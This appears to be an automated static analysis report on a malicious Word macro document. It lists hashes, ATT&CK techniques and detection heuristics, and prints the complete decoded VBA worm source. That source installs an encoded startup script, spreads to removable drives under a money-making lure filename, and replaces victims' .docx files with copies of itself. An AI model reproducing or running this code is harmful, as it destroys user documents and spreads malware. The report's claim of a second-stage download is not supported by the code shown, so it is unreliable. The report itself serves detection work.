Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 97b302bca5e6f780…

MALICIOUS

Office (OLE)

83.5 KB Created: 2021-04-13 07:35:00 Authoring application: Microsoft Office Word First seen: 2021-09-15
MD5: c187391b906f5321ccb8aedabebdd0bd SHA-1: 6041b0e98817728e837d61fc1fd8ff9b98b7c4e0 SHA-256: 97b302bca5e6f78038dc2f170712ee77dc49492117cd6a45612e161cca98249e
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1071.001 Web Protocols T1105 Ingress Tool Transfer

The sample contains a VBA macro that executes upon opening the document. This macro utilizes WScript.Shell to copy itself to the startup folder and templates directory, establishing persistence. It also attempts to spread itself to other drives by copying a file named '10 NOUVEAUX METHODES POUR GAGNER 2000EURO EN UN MOIS.DOC'. The macro's intent is to download and execute a second-stage payload and propagate itself.

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-10001751-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10001751-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    Private Sub Document_Open()
    Set a = CreateObject("wscript.shell")
    c = a.specialfolders("startup")
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Private Sub Document_Open()
    Set a = CreateObject("wscript.shell")
    c = a.specialfolders("startup")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Private Sub Document_Open()
    Set a = CreateObject("wscript.shell")
    c = a.specialfolders("startup")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
    Set a = CreateObject("wscript.shell")
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3453 bytes
SHA-256: 704cf41723c8972e2400c77bd2532540ffd8af9f9aadefbaaa660abaa8729480
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
Set a = CreateObject("wscript.shell")
c = a.specialfolders("startup")
d = a.specialfolders("templates")
If Dir(c & "\system.vbe") = "" Then
 ThisDocument.SaveAs2 (d & "\sysrar")
 createVBS (c & "\system.vbe")
 a.Run (Chr(34) & c & "\system.vbe" & Chr(34))
End If
iz = InputBox("Entrer code de validation", "Code de validation")
MsgBox "Code de validation incorrect. Veuillez contacter l'auteur. Merci", vbCritical, "ERREUR RRH1505-88"
End Sub
Private Sub createVBS(anarana As String)
txt = "micopie" & vbCrLf
txt = txt & "sub micopie()" & vbCrLf
txt = txt & "Set b = CreateObject(""scripting.filesystemobject"")" & vbCrLf
txt = txt & "Set a = CreateObject(""wscript.shell"")" & vbCrLf
txt = txt & "d = a.specialfolders(""templates"")" & vbCrLf
'txt = txt & "d = Left(c, 3)" & vbCrLf
txt = txt & "for i=67 to 90" & vbCrLf
txt = txt & "drv=chr(i)& "":\""" & vbCrLf
txt = txt & "if b.driveexists(drv)=true then" & vbCrLf
txt = txt & "set drv1=b.getdrive(drv)" & vbCrLf
txt = txt & "if drv1.drivetype=1 then" & vbCrLf
txt = txt & "if b.fileexists(drv & ""10 NOUVEAUX METHODES POUR GAGNER 2000EURO EN UN MOIS.DOC"")=false then" & vbCrLf
txt = txt & "b.copyfile (d & ""\sysrar.doc""),(drv & ""10 NOUVEAUX METHODES POUR GAGNER 2000EURO EN UN MOIS.DOC"")" & vbCrLf
txt = txt & "wscript.sleep 50" & vbCrLf
txt = txt & "end if" & vbCrLf
txt = txt & "mitadyfichier drv,(d & ""\sysrar.doc"")" & vbCrLf
txt = txt & "mitady drv,(d & ""\sysrar.doc"")" & vbCrLf
txt = txt & "end if" & vbCrLf
txt = txt & "end if" & vbCrLf
txt = txt & "next" & vbCrLf
txt = txt & "wscript.sleep 5000" & vbCrLf
txt = txt & "set b=nothing" & vbCrLf
txt = txt & "set a=nothing" & vbCrLf
txt = txt & "micopie" & vbCrLf
txt = txt & "end sub" & vbCrLf

txt = txt & "Sub mitady(chem, source)" & vbCrLf
txt = txt & "Set a = CreateObject(""scripting.filesystemobject"")" & vbCrLf
txt = txt & "On Error Resume Next" & vbCrLf
txt = txt & "Set b = a.getfolder(chem)" & vbCrLf
txt = txt & "Set E = b.subfolders" & vbCrLf
txt = txt & "For Each e1 In E" & vbCrLf
txt = txt & "mitadyfichier e1.Path, source" & vbCrLf
txt = txt & "mitady e1.Path, source" & vbCrLf
txt = txt & "Next" & vbCrLf
txt = txt & "End Sub" & vbCrLf

txt = txt & "Sub mitadyfichier(chem, source)" & vbCrLf
txt = txt & "Set a = CreateObject(""scripting.filesystemobject"")" & vbCrLf
txt = txt & "On Error Resume Next" & vbCrLf
txt = txt & "Set b = a.getfolder(chem)" & vbCrLf
txt = txt & "Set c = b.Files" & vbCrLf
txt = txt & "For Each c1 In c" & vbCrLf
txt = txt & "d = LCase(a.getextensionname(c1.Path))" & vbCrLf
txt = txt & "If d = ""docx"" Then" & vbCrLf
txt = txt & "a.copyfile source, Left(c1.Path, Len(c1.Path) - 1)" & vbCrLf
txt = txt & "wscript.sleep 50" & vbCrLf
txt = txt & "a.deletefile c1.path,true" & vbCrLf
txt = txt & "wscript.sleep 50" & vbCrLf
txt = txt & "End If" & vbCrLf
txt = txt & "Next" & vbCrLf
txt = txt & "End Sub"

Set scrENC = CreateObject("Scripting.Encoder")
myFileEncode = scrENC.EncodeScriptFile(".vbs", txt, 0, "")
Open anarana For Output As #1
 Print #1, myFileEncode
Close #1
Set scrENC = Nothing
End Sub